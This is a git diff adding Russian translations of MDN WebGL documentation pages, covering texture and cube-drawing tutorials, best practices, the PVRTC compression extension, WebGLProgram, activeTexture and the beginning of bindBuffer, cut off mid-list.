+<p>WebGL имеет минимум 8 текстурных регистров; первый из них <code>gl.TEXTURE0</code>. Мы указываем, что хотим использовать регистр 0. Затем мы вызываем функцию {{domxref("WebGLRenderingContext.bindTexture()", "bindTexture()")}}, которая связывает текстуру с <code>TEXTURE_2D</code> регистра 0. Наконец мы сообщаем шейдеру, что для <code>uSampler</code> используется текстурный регистр 0.</p>
+
+<p>В завершение, добавляем аргумент <code>texture</code> в функцию <code>drawScene()</code>.</p>
+
+<pre><code>drawScene(gl, programInfo, buffers, texture, deltaTime);
+...
+function drawScene(gl, programInfo, buffers, texture, deltaTime) {</code></pre>
+
+<p>Сейчас вращающийся куб должен именть текстуру на гранях.</p>
+
+
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample6/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample6">Посмотреть код примера полностью</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample6/">Открыть демо в новом окне</a></p>
+
+<h2 id="Кросс-доменные_текстуры">Кросс-доменные текстуры</h2>
+
+<p>Загрузка кросс-доменных текстур контролируется правилами кросс-доменного доступа. Чтобы загрузить текстуру с другого домена, она должна быть CORS доверенной. См. детали в статье <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/CORS">HTTP access control</a>.</p>
+
+<p><a href="http://hacks.mozilla.org/2011/11/using-cors-to-load-webgl-textures-from-cross-domain-images/">В статье на hacks.mozilla.org</a> есть объяснение с <a href="http://people.mozilla.org/~bjacob/webgltexture-cors-js.html">примером</a>, как использовать изображения CORS для создания WebGL текстур.</p>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание:</strong> Поддержка CORS для текстур WebGL и атрибут <code>crossOrigin</code> для элементов изображений реализованы в {{Gecko("8.0")}}.</p>
+</div>
+
+<p>Tainted (только-для-записи) 2D canvas нельзя использовать в качестве текстур WebGL. Например, 2D {{ HTMLElement("canvas") }} становится "tainted", когда на ней отрисовано кросс-доменное изображение.</p>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание:</strong> Поддержка CORS для Canvas 2D <code>drawImage</code> реализована в  {{Gecko("9.0")}}. Это значит, что использование CORS доверенных кросс-доменных изображений больше не делает 2D canvas "tained" (только-для-записи),  и вы можете использовать такую 2D canvas как исходник для текстур WebGL.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание:</strong> Поддрежка CORS для кросс-доменного видео и атрибут <code>crossorigin</code> для HTML-элемента {{ HTMLElement("video") }} реализованы в {{Gecko("12.0")}}.</p>
+</div>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
diff --git a/files/ru/web/api/webgl_api/tutorial/создание_3d_объектов_с_помощью_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/создание_3d_объектов_с_помощью_webgl/index.html
new file mode 100644
index 0000000000..b5abccbe14
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/создание_3d_объектов_с_помощью_webgl/index.html
@@ -0,0 +1,131 @@
+---
+title: Создание 3D объектов с помощью WebGL
+slug: Web/API/WebGL_API/Tutorial/Создание_3D_объектов_с_помощью_WebGL
+tags:
+  - WebGL
+  - Урок
+translation_of: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
+
+<p>Давайте поместим наш квадрат в трехмерное пространство, добавив еще 5 граней, чтобы получить куб. Чтобы сделать это наиболее продуктивно, вместо рисования вершин непосредственным вызовом метода {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , мы будем использовать массив вершин в виде таблицы и ссылаться на каждую вершину в этой таблице, чтобы определить положение каждой вершины грани, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.</p>
+
+<p>Заметим: чтобы определить каждую грань необходимо четыре вершины, но каждая вершина принадлежит трем граням. Мы можем передавать намного меньше данных, построив список всех 24-х вершин, затем ссылаться на каждую из них в этом списке по её индексу, вместо того чтобы передавать все множество вершин. Если вы удивлены, почему нам нужны 24 вершины, а не только 8, так это потому, что каждое ребро принадлежит трем граням разных цветов, и каждая отдельная вершина должна иметь конкретный отдельный цвет - поэтому мы создадим 3 копии каждой вершины трех разных цветов, по одной для каждой грани.</p>
+
+<h2 id="Определение_позиций_вершин_куба">Определение позиций вершин куба</h2>
+
+<p>Во первых, давайте построим буффер позиций вершин куба, обновив код в <code>initBuffers()</code>. Это в значительной степени то же самое как это было для квадрата, но несколько длиннее, так как здесь 24 вершины (4 с каждой стороны):</p>
+
+<pre class="brush: js">var vertices = [
+  // Передняя грань
+  -1.0, -1.0,  1.0,
+   1.0, -1.0,  1.0,
+   1.0,  1.0,  1.0,
+  -1.0,  1.0,  1.0,
+
+  // Задняя грань
+  -1.0, -1.0, -1.0,
+  -1.0,  1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0, -1.0, -1.0,
+
+  // Верхняя грань
+  -1.0,  1.0, -1.0,
+  -1.0,  1.0,  1.0,
+   1.0,  1.0,  1.0,
+   1.0,  1.0, -1.0,
+
+  // Нижняя грань
+  -1.0, -1.0, -1.0,
+   1.0, -1.0, -1.0,
+   1.0, -1.0,  1.0,
+  -1.0, -1.0,  1.0,
+
+  // Правая грань
+   1.0, -1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0,  1.0,  1.0,
+   1.0, -1.0,  1.0,
+
+  // Левая грань
+  -1.0, -1.0, -1.0,
+  -1.0, -1.0,  1.0,
+  -1.0,  1.0,  1.0,
+  -1.0,  1.0, -1.0
+];
+</pre>
+
+<h2 id="Определение_цветов_вершин">Определение цветов вершин</h2>
+
+<p>Нам также нужно построить массив цветов для каждой из 24-х вершин. Этот код начинается с определения цветов для каждой грани, затем используется цикл для составления массива все всех цветов для каждой из вершин.</p>
+
+<pre class="brush: js">var colors = [
+  [1.0,  1.0,  1.0,  1.0],    // Front face: white
+  [1.0,  0.0,  0.0,  1.0],    // Back face: red
+  [0.0,  1.0,  0.0,  1.0],    // Top face: green
+  [0.0,  0.0,  1.0,  1.0],    // Bottom face: blue
+  [1.0,  1.0,  0.0,  1.0],    // Right face: yellow
+  [1.0,  0.0,  1.0,  1.0]     // Left face: purple
+];
+
+var generatedColors = [];
+
+for (j=0; j&lt;6; j++) {
+  var c = colors[j];
+
+  for (var i=0; i&lt;4; i++) {
+    generatedColors = generatedColors.concat(c);
+  }
+}
+
+cubeVerticesColorBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesColorBuffer);
+gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(generatedColors), gl.STATIC_DRAW);
+</pre>
+
+<h2 id="Определение_массива_элементов">Определение массива элементов</h2>
+
+<p>Как только массив вершин сгенерирован, нам нужно построить массив элементов.</p>
+
+<pre class="brush: js">cubeVerticesIndexBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+
+// Этот массив определяет каждую грань как два треугольника,
+// используя индексы в массиве вершин, чтобы определить позицию
+// каждого треугольника.
+
+var cubeVertexIndices = [
+  0,  1,  2,      0,  2,  3,    // front
+  4,  5,  6,      4,  6,  7,    // back
+  8,  9,  10,     8,  10, 11,   // top
+  12, 13, 14,     12, 14, 15,   // bottom
+  16, 17, 18,     16, 18, 19,   // right
+  20, 21, 22,     20, 22, 23    // left
+];
+
+// Теперь отправим массив элементов в GL
+
+gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
+    new Uint16Array(cubeVertexIndices), gl.STATIC_DRAW);
+</pre>
+
+<p>Массив <code>cubeVertexIndices</code> определяет каждую грань как пару треугольников, сопоставляя каждой вершине треугольника индекс в массиве вершин куба. Таким образом куб можно представить как набор из 12 треугольников.</p>
+
+<h2 id="Рисование_куба">Рисование куба</h2>
+
+<p>Далее нам нужно обновить код нашей функции <code>drawScene()</code> , чтобы рисовать, используя буффер индексов куба, добавив новые вызовы {{domxref("WebGLRenderingContext.bindBuffer()", "gl.bindBuffer()")}} и {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}:</p>
+
+<pre class="brush: js">gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+setMatrixUniforms();
+gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+</pre>
+
+<p>Поскольку каждая грань нашего куба состоит из двух треугольников, где 6 вершин на каждой грани, или всего 36 вершин во всем кубе, даже если многие из них дублируются. Однако, поскольку наш массив индексов состоит из целых чисел, это не чрезмерное количество данных, посылаемых для каждого кадра анимации.</p>
+
+<p>В данный момент у нас есть анимированный куб с гранями 6 разных цветов, который прыгает и вращается.</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample5/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample5">View the complete code</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample5/">Open this demo on a new page</a></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
diff --git a/files/ru/web/api/webgl_api/webgl_best_practices/index.html b/files/ru/web/api/webgl_api/webgl_best_practices/index.html
new file mode 100644
index 0000000000..90b595c096
--- /dev/null
+++ b/files/ru/web/api/webgl_api/webgl_best_practices/index.html
@@ -0,0 +1,46 @@
+---
+title: Лучшие практики WebGL
+slug: Web/API/WebGL_API/WebGL_best_practices
+translation_of: Web/API/WebGL_API/WebGL_best_practices
+---
+<p>{{WebGLSidebar}}</p>
+
+<p>Эта статья содержит советы и рекомендации по улучшению качества ваших WebGL приложений. Следование данным советам поможет улучшить совместимость ваших веб-приложений с большим количеством устройств и браузеров, а также увеличить их производительность.</p>
+
+<h2 id="Чего_следует_избегать">Чего следует избегать</h2>
+
+<ul>
+ <li>Убедитесь, что ваше приложение не выдает какие-либо ошибки WebGL, возвращаемые функцией <code>getError(). В Firefox при каждой ошибке (до определенного предела) или при любой другой проблеме в работе WebGL выводится JavaScript предупреждение с подробным описанием. Вам же не хочется, что бы ваше приложение выдавало множество ошибок в консоль, не так ли?</code></li>
+ <li>Не следует использовать <code>#ifdef GL_ES в шейдерах WebGL. Несмотря на то что в некоторых ранних примерах используются эти директивы, это не обязательно в том случае, если проверяемое условие всегда истинно.</code></li>
+ <li>Использование высокой точности (<code>highp</code> precision) во фрагментных шейдерах может приводить к несовместимости вашего приложения с некоторыми устаревшими мобильными устройствами. Вы можете использовать среднюю точность (<code>mediump), но помните, что это может привести к некорректному результату отрисовки из-за потери данных на большинстве мобильных устройств, причем этот некорректный результат не будет заметен на обычном компьютере. В общем, только использование высокой точности (highp) в вершинном и фрагментном шейдерах является более надежными решением, если нет возможности тщательно проверить работу шейдеров на различных платформах. В Firefox версии 11 и выше реализована функция WebGL getShaderPrecisionFormat(), которая позволяет проверить, поддерживается ли высокая точность и, более того, запросить реальную точность всех поддерживаемых квалификаторов точности. </code></li>
+</ul>
+
+<h2 id="О_чем_следует_помнить.">О чем следует помнить.</h2>
+
+<ul>
+ <li>Некоторые возможности WebGL зависят от клиента. Перед тем как задействовать ту или иную возможность, используйте функцию WebGL <code>getParameter() чтобы определить, какие возможности поддерживаются на клиенте. Например, максимально допустимый размер двухмерной текстуры можно узнать с помощью вызова webgl.getParameter(webgl.MAX_TEXTURE_SIZE). В Firefox версии 10 и выше реализован параметр webgl.min_capability_mode, позволяющий имитировать минимальные значения возможностей WebGL для проверки переносимости приложения.</code></li>
+ <li>В частности, использование текстур в вершинном шейдере возможно только если значение <code>webgl.getParameter(webgl.MAX_VERTEX_TEXTURE_IMAGE_UNITS) больше ноля. Как правило, эта возможность не поддерживается на текущих мобильных устройствах.</code></li>
+ <li>Доступность большинства расширений WebGL зависит от клиента. Если это возможно, проектируйте приложение так, чтобы оно оставалось работоспособным даже в случае, когда используемое расширение недоступно. В Firefox версии 10 и выше есть настройка<code> webgl.disable-extensions, позволяющая сымитировать отсутствие всех расширений для проверки переносимости приложения.</code></li>
+ <li>Рендеринг в floating-point текстуру может не выполняться даже если расширение <code>OES_texture_float поддерживается. Обычно это случается на современных мобильных устройствах. Проверить эту возможность можно с помощью функции WebGL checkFramebufferStatus().</code></li>
+ <li>Вы можете выполнять отрисовку на холсте, реальные размеры которого отличается от значений, определенных в таблице стилей. При проблемах с производительностью рассмотрите возможность рендеринга в более низком разрешении. (<em>Уменьшение области рендеринга ускорит обработку пиксельных шейдеров, например, эффектов постобработки</em>, <em>однако, на скорость работы вершинных шейдеров это не повлияет.</em> <span class="forum_post_content med1" style="word-wrap: break-word;"><span class="ln_height" id="post_text_1166974"><em>прим. перев.).</em></span></span></li>
+</ul>
+
+<h2 id="Общие_советы_по_повышению_производительности">Общие советы по повышению производительности</h2>
+
+<ul>
+ <li>Все, что требует синхронизации ЦП и ГП потенциально приводит в уменьшению производительности. Поэтому избегайте в цикле отрисовки следующих вызовов функций WebGL: <code>getError()</code>, <code>readPixels()</code> и <code>finish()</code>. Вызовы функций, получающих значения, такие как <code>getParameter()</code> и <code>getUniformLocation() тоже должны рассматриваться как медленные и их значения следует сохраняться в переменных JavaScript.</code></li>
+ <li>Несколько больших операций отрисовки выполняются быстрее, чем много мелких. Если вам нужно нарисовать 1000 спрайтов, попробуйте реализовать это одним вызовом функции<code> drawArrays()</code> или <code>drawElements(). Вы также можете использовать вырожденные (плоские) треугольники для рисования нескольких объектов за один вызов drawArrays().</code></li>
+ <li>Уменьшение переключений состояний также увеличивает производительность. В частности, если есть возможность упаковать несколько изображений в одну текстуру <em>(т.н. текстурный атлас, прим. перев.)</em> и отображать требуемое изображение с помощью поправок текстурных координат, то это приведет к уменьшению переключений между текстурами, что увеличит производительность.
+  <ul>
+   <li>В некоторых редких случаях разные одноцветные изображения можно упаковать в разные цветовые каналы текстуры.</li>
+  </ul>
+ </li>
+ <li>Маленькие текстуры обрабатываются быстрее, чем большие. Используйте mipmapping для ускорения отрисовки.</li>
+ <li>Простые шейдеры выполняются быстрее, чем сложные. В частности, условия (if) замедляют работу. Операции деления и математические функции, например, <code>log() должны также рассматриваться как дорогие.</code>
+  <ul>
+   <li>Однако сегодня даже мобильные устройства обладают мощными графическими процессорами которые способны быстро обрабатывать относительно сложные шейдерные программы. Более того, шейдеры компилируются в машинные коды, которые могут быть оптимизированы под конкретный процессор. Может оказаться, что дорогой вызов функции может быть скомпилирован в несколько (или даже в одну) процессорную инструкцию. Частично это справедливо для функций {{Glossary("GLSL")}}, выполняющих операции над векторами, таких как <code>normalize()</code>, <code>dot()</code> и <code>mix()</code>. Лучшим советом будет использовать встроенные функции, нежели пытаться реализовать, например, собственную версию скалярного произведения или линейной интерполяции, которые будут скомпилированы в набор сложных и неоптимальных инструкций процессора.</li>
+  </ul>
+ </li>
+ <li>Выносите как можно больше операций в вершинный шейдер. Из-за того, что в процессе отрисовки фрагментные шейдеры выполняются гораздо чаще, чем вершинные, любые вычисления, которые можно выполнить с вершинами и интерполировать между пикселями, будут работать быстрее (интерполяция будет "бесплатна", т.к. это этап конвеера WebGL). Например, простая анимация текстурированной поверхности может быть реализована с помощью преобразований текстурных координат (простейший вариант - прибавлять значение uniform-вектора к attribute-вектору текстурных координат). Если результат будет визуально приемлем, то такой вариант будет работать быстрее, чем реализация во фрагментном шейдере.</li>
+ <li>Всегда задействуйте атрибут вершин c нулевым индексом. Отрисовка с неактивным вершинным атрибутом с индексом 0 вынуждает браузер выполнять сложную эмуляцию настольного OpenGL (например, как на Mac OSX). Вызывайте функцию <code>bindAttribLocation()</code> чтобы вершинный атрибут использовал нулевой индекс и активируйте сам атрибут с помощью функции<code> enableVertexAttribArray().</code></li>
+</ul>
diff --git a/files/ru/web/api/webgl_compressed_texture_pvrtc/index.html b/files/ru/web/api/webgl_compressed_texture_pvrtc/index.html
new file mode 100644
index 0000000000..9beee4bd5b
--- /dev/null
+++ b/files/ru/web/api/webgl_compressed_texture_pvrtc/index.html
@@ -0,0 +1,78 @@
+---
+title: WEBGL_compressed_texture_pvrtc
+slug: Web/API/WEBGL_compressed_texture_pvrtc
+translation_of: Web/API/WEBGL_compressed_texture_pvrtc
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Расширение <code><strong>WEBGL_compressed_texture_pvrtc</strong></code> часть <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> и представляет четыре <a href="https://en.wikipedia.org/wiki/PVRTC">сжатых формата текстур PVRTC</a>.</p>
+
+<p>Сжатые текстуры уменьшают количество памяти, использовуемые в GPU для хранения, позволяя большее разрешение для текстур или большее количество текстур с одинаковым разрешением.</p>
+
+<p>WebGL расширения доступны через метод {{domxref("WebGLRenderingContext.getExtension()")}}. Для подробностей смотри также <a href="/en-US/docs/Web/API/WebGL_API/Using_Extensions">Использование расширений</a> в <a href="/en-US/docs/Web/API/WebGL_API/Tutorial">туториале по WebGL.</a></p>
+
+<div class="note">
+<p><strong>Доступность:  </strong>Обычно PVRTC доступен тоько на мобильных устройсвах с чипсетом PowerVR. Используется во всех поколениях iPhone, iPod Touch и iPad и поддерживается на определённых Android устройствах, использующих PowerVR GPU.</p>
+
+<p>Версии контекста, поддерживающие расширение:   {{domxref("WebGLRenderingContext", "WebGL1", "", 1)}} , и {{domxref("WebGL2RenderingContext", "WebGL2", "", 1)}}.</p>
+</div>
+
+<h2 id="Константы">Константы</h2>
+
+<p>Форматы сжатых текстур представлены четырьмя константми и могут быть использованы в двух функциях:<br>
+ {{domxref("WebGLRenderingContext.compressedTexImage2D", "compressedTexImage2D()")}} — параметры высота и ширина должны соотвествовать степени 2<br>
+ {{domxref("WebGLRenderingContext.compressedTexSubImage2D", "compressedTexSubImage2D()")}} — парметры высоты и ширины должны быть равны размеру текстуры, а значения параметров <code>xoffset</code> и <code>yoffset</code> должны быть 0.</p>
+
+<dl>
+ <dt><code>ext.COMPRESSED_RGB_PVRTC_4BPPV1_IMG</code></dt>
+ <dd>RGB сжатие в 4-битном режиме. Один блок на каждые 4×4 пикселей.</dd>
+ <dt><code>ext.COMPRESSED_RGBA_PVRTC_4BPPV1_IMG</code></dt>
+ <dd>RGBA сжатие в 4-битном режиме. Один блок на каждые 4×4 пикселей.</dd>
+ <dt><code>ext.COMPRESSED_RGB_PVRTC_2BPPV1_IMG</code></dt>
+ <dd>RGB сжатие в 2-битном режиме. Один блок на каждые 8×4 пикселей.</dd>
+ <dt><code>ext.COMPRESSED_RGBA_PVRTC_2BPPV1_IMG</code></dt>
+ <dd>RGBA сжатие в 2-битном режиме. Один блок на каждые 8×4 пикселей.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:js">var ext = gl.getExtension('WEBGL_compressed_texture_pvrtc');
+
+var texture = gl.createTexture();
+gl.bindTexture(gl.TEXTURE_2D, texture);
+
+gl.compressedTexImage2D(gl.TEXTURE_2D, 0, ext.COMPRESSED_RGB_PVRTC_4BPPV1_IMG, 512, 512, 0, textureData);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WEBGL_compressed_texture_pvrtc', "", "WEBGL_compressed_texture_pvrtc")}}</td>
+   <td>{{Spec2('WEBGL_compressed_texture_pvrtc')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.WEBGL_compressed_texture_pvrtc")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/PVRTC">PVRTC Texture Compression – Wikipedia</a></li>
+ <li>{{domxref("WebGLRenderingContext.getExtension()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compressedTexImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compressedTexSubImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getParameter()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglprogram/index.html b/files/ru/web/api/webglprogram/index.html
new file mode 100644
index 0000000000..30a772e8ef
--- /dev/null
+++ b/files/ru/web/api/webglprogram/index.html
@@ -0,0 +1,98 @@
+---
+title: WebGLProgram
+slug: Web/API/WebGLProgram
+translation_of: Web/API/WebGLProgram
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong>WebGLProgram</strong> это часть <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> и комбинация двух составляющих {{domxref("WebGLShader")}}-ов, состоящих из вертикального и фрагментного шейдеров (оба написаны на GLSL). Затем они связываются в готовую к использованию программу.</p>
+
+<pre class="brush: js">var program = gl.createProgram();
+
+// Прикрепление уже существующих шейдеров
+gl.attachShader(program, vertexShader);
+gl.attachShader(program, fragmentShader);
+
+gl.linkProgram(program);
+
+if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) {
+  var info = gl.getProgramInfoLog(program);
+  throw "Could not compile WebGL program. \n\n" + info;
+}
+</pre>
+
+<p>Смотрите {{domxref("WebGLShader")}} для информации о том, как создать <code>vertexShader</code> и <code>fragmentShader</code> в примере выше.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_программы">Использование программы</h3>
+
+<p>Шаги для того, чтобы сделать какую-то работу с программой, включают сообщение GPU об использовании программы, связывание соответствующих данных и параметров конфигурации и наконец отрисовку чего-то на экране.</p>
+
+<pre class="brush: js">// Использование программы
+gl.useProgram(program);
+
+// Связывание существующих аттрибутов данных
+gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+gl.enableVertexAttribArray(attributeLocation);
+gl.vertexAttribPointer(attributeLocation, 3, gl.FLOAT, false, 0, 0);
+
+// Отрисовка простого треугольника
+gl.drawArrays(gl.TRIANGLES, 0, 3);
+</pre>
+
+<h3 id="Удаление_программы">Удаление программы</h3>
+
+<p>Если существует ошибка связывания программы или вы хотите удалить существующую программу, тогда это так же просто, как запустить {{domxref("WebGLRenderingContext.deleteProgram()")}}. Это освободит память от связанной программы.</p>
+
+<pre class="brush: js">gl.deleteProgram(program);
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.6", "WebGLProgram")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api/WebGLProgram", "WebGLProgram")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li>{{domxref("WebGLShader")}}</li>
+ <li>{{domxref("WebGLRenderingContext.attachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compileShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.detachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.shaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.useProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/activetexture/index.html b/files/ru/web/api/webglrenderingcontext/activetexture/index.html
new file mode 100644
index 0000000000..06b71db1a1
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/activetexture/index.html
@@ -0,0 +1,81 @@
+---
+title: WebGLRenderingContext.activeTexture()
+slug: Web/API/WebGLRenderingContext/activeTexture
+translation_of: Web/API/WebGLRenderingContext/activeTexture
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong><code>WebGLRenderingContext.activeTexture()</code></strong> метод <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> указывает какую текстуру сделать активной.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>void gl</em>.activeTexture</var><var>(texture);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>texture</code></dt>
+ <dd>Номер текстуры которую необходимо активировать. Значение <code>gl.TEXTURE<em>I</em></code> где <em>I</em> значение в диапозоне от 0 до <code>gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>None.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>Если <em>texture</em> не относится к <code>gl.TEXTURE<em>I</em></code>, где <em>I</em> значение в диапозоне от 0 до <code>gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1</code>, то получаем исключение <code>gl.INVALID_ENUM</code> .</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Вызов со значением <code>gl.TEXTURE1</code> выберет текстуру в качестве текущей. Последующие вызовы будут изменять эту текстуру.</p>
+
+<pre class="brush: js">gl.activeTexture(gl.TEXTURE1);
+</pre>
+
+<p>Количество текстур зависит от реализации, вы можете получить количество текстур с помощью константы <code>MAX_COMBINED_TEXTURE_IMAGE_UNITS</code>. Согласно спецификации не менее 8.</p>
+
+<pre class="brush: js">gl.getParameter(gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS);
+</pre>
+
+<p>чтобы получить текущую активную текстуру вызовите <code>gl.getParameter</code> с константой <code>ACTIVE_TEXTURE</code>.</p>
+
+<pre class="brush: js">gl.activeTexture(gl.TEXTURE0);
+gl.getParameter(gl.ACTIVE_TEXTURE);
+// вернет "33984" (0x84C0, gl.TEXTURE0 enum value)
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.3", "activeTexture")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glActiveTexture.xml", "glActiveTexture")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Man page of the OpenGL API.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с https://github.com/mdn/browser-compat-data и отправить нам запрос на слияние.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.activeTexture")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.getParameter()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webglrenderingcontext/bindbuffer/index.html b/files/ru/web/api/webglrenderingcontext/bindbuffer/index.html
new file mode 100644
index 0000000000..bb65be620b
--- /dev/null
+++ b/files/ru/web/api/webglrenderingcontext/bindbuffer/index.html
@@ -0,0 +1,121 @@
+---
+title: WebGLRenderingContext.bindBuffer()
+slug: Web/API/WebGLRenderingContext/bindBuffer
+translation_of: Web/API/WebGLRenderingContext/bindBuffer
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p><strong><code>ebGLRenderingContext.bindBuffer()</code></strong> метод <a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a> связывает {{domxref("WebGLBuffer")}} c точкой связывания(Атрибут регистром).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.bindBuffer(<var>target</var>, <var>buffer</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>target</dt>
+ <dd>{{domxref("GLenum")}} определяет точку связывания (target). Возможные значения:
+ <ul>
